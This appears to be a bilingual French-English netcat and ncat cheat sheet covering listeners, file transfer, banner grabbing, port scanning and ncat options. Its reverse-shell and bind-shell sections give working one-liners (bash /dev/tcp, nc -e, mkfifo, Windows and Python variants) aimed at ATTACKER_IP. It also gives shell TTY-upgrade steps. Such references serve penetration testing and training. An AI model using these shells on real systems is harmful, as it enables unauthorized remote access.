Netcat

Le « couteau suisse » du réseau. Crée des connexions TCP/UDP pour les reverse shells, transferts de fichiers, scans de ports, et bannières de service. The 'Swiss army knife' of networking. Creates TCP/UDP connections for reverse shells, file transfers, port scanning, and service banners.

↗ https://nmap.org/ncat/

Overview

Netcat (nc) creates arbitrary TCP/UDP connections and listeners. Available in multiple variants: traditional nc, OpenBSD nc, and ncat (from nmap project). It’s almost always pre-installed and is the backbone of basic reverse/bind shells.

Listeners & Connections

Listen on port (wait for connection)

nc -lvnp 4444

Connect to listener

nc 10.10.10.1 4444

UDP listener

nc -lvnpu 4444

Verbose listener showing source IP

nc -lvnp 4444 -v

Reverse Shells

Bash reverse shell (target)

bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

Netcat reverse shell

nc ATTACKER_IP 4444 -e /bin/bash

Without -e flag (older nc versions)

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc ATTACKER_IP 4444 >/tmp/f

Windows cmd reverse shell

nc.exe ATTACKER_IP 4444 -e cmd.exe

Python fallback

python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

Bind Shells

Bind shell — target listens, attacker connects Target:

nc -lvnp 4444 -e /bin/bash

Attacker:

nc 10.10.10.VICTIM 4444

File Transfer

Receive file (listener side)

nc -lvnp 4444 > received_file.txt

Send file (connecting side)

nc 10.10.10.1 4444 < file_to_send.txt
# Send directory (tar over nc)
# Sender:
tar czf - /path/to/dir | nc 10.10.10.1 4444
# Receiver:
nc -lvnp 4444 | tar xzf -
# Grab banner from a service
echo "" | nc -nv 10.10.10.1 80
echo "HEAD / HTTP/1.0\r\n\r\n" | nc 10.10.10.1 80

Simple TCP port scan

nc -zv 10.10.10.1 1-1000 2>&1 | grep succeeded

UDP port check

nc -zuv 10.10.10.1 53

ncat (nmap’s version — more features)

SSL encrypted listener

ncat --ssl -lvnp 4444

Connect to SSL listener

ncat --ssl 10.10.10.1 4444

Allow only specific IP to connect

ncat -lvnp 4444 --allow 10.10.10.1

Broker mode (relay between two connections)

ncat --broker -lvnp 4444

Chat server (multiple clients)

ncat --broker -lvnp 4444 -v

TTY Upgrade After Shell

# After getting a raw reverse shell, upgrade to full TTY:
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm; stty rows 50 cols 200

Tips

  • Use ncat (from nmap) when you need SSL, broker mode, or access control
  • -e /bin/bash doesn’t work on all nc versions — use the mkfifo workaround
  • For fully interactive shells, prefer socat or upgrade with Python pty
Flag reference
nc [options] [host] [port]

-l        Listen mode
-v        Verbose
-n        Don't resolve DNS
-p port   Port number
-u        UDP mode
-z        Zero-I/O mode (scanning)
-w secs   Timeout
-e prog   Execute program after connect
-k        Keep listening after connection closes (OpenBSD nc)

ncat extras:
--ssl             Use SSL/TLS
--allow host      Whitelist IP
--deny host       Blacklist IP
--broker          Relay mode
--max-conns N     Max connections

Vue d’ensemble

Netcat (nc) crée des connexions et des listeners TCP/UDP arbitraires. Disponible en plusieurs variantes : nc traditionnel, nc OpenBSD, et ncat (du projet nmap). Il est presque toujours préinstallé et constitue l’ossature des reverse/bind shells basiques.

Listeners et connexions

# Écouter sur un port (attendre une connexion)
nc -lvnp 4444

# Se connecter à un listener
nc 10.10.10.1 4444

# Listener UDP
nc -lvnpu 4444

# Listener verbeux affichant l'IP source
nc -lvnp 4444 -v

Reverse shells

# Reverse shell bash (cible)
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

# Reverse shell netcat
nc ATTACKER_IP 4444 -e /bin/bash

# Sans le flag -e (anciennes versions de nc)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc ATTACKER_IP 4444 >/tmp/f

# Reverse shell cmd Windows
nc.exe ATTACKER_IP 4444 -e cmd.exe

# Solution de repli Python
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

Bind shells

# Bind shell : la cible écoute, l'attaquant se connecte
# Cible :
nc -lvnp 4444 -e /bin/bash

# Attaquant :
nc 10.10.10.VICTIM 4444

Transfert de fichiers

# Recevoir un fichier (côté listener)
nc -lvnp 4444 > received_file.txt

# Envoyer un fichier (côté connexion)
nc 10.10.10.1 4444 < file_to_send.txt

# Envoyer un répertoire (tar via nc)
# Émetteur :
tar czf - /path/to/dir | nc 10.10.10.1 4444
# Récepteur :
nc -lvnp 4444 | tar xzf -

Grab de bannière et scan de ports

# Récupérer la bannière d'un service
echo "" | nc -nv 10.10.10.1 80
echo "HEAD / HTTP/1.0\r\n\r\n" | nc 10.10.10.1 80

# Scan de ports TCP simple
nc -zv 10.10.10.1 1-1000 2>&1 | grep succeeded

# Vérification de port UDP
nc -zuv 10.10.10.1 53

ncat (version nmap : plus de fonctionnalités)

# Listener chiffré SSL
ncat --ssl -lvnp 4444

# Se connecter à un listener SSL
ncat --ssl 10.10.10.1 4444

# N'autoriser qu'une IP spécifique à se connecter
ncat -lvnp 4444 --allow 10.10.10.1

# Mode broker (relais entre deux connexions)
ncat --broker -lvnp 4444

# Serveur de chat (plusieurs clients)
ncat --broker -lvnp 4444 -v

Upgrade TTY après un shell

# Après avoir obtenu un reverse shell brut, monter en TTY complet :
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm; stty rows 50 cols 200

Conseils

  • Utiliser ncat (de nmap) quand vous avez besoin de SSL, du mode broker, ou du contrôle d’accès
  • -e /bin/bash ne fonctionne pas sur toutes les versions de nc : utiliser le contournement mkfifo
  • Pour des shells pleinement interactifs, préférer socat ou monter en TTY avec Python pty
Référence des flags
nc [options] [host] [port]

-l        Listen mode
-v        Verbose
-n        Don't resolve DNS
-p port   Port number
-u        UDP mode
-z        Zero-I/O mode (scanning)
-w secs   Timeout
-e prog   Execute program after connect
-k        Keep listening after connection closes (OpenBSD nc)

ncat extras:
--ssl             Use SSL/TLS
--allow host      Whitelist IP
--deny host       Blacklist IP
--broker          Relay mode
--max-conns N     Max connections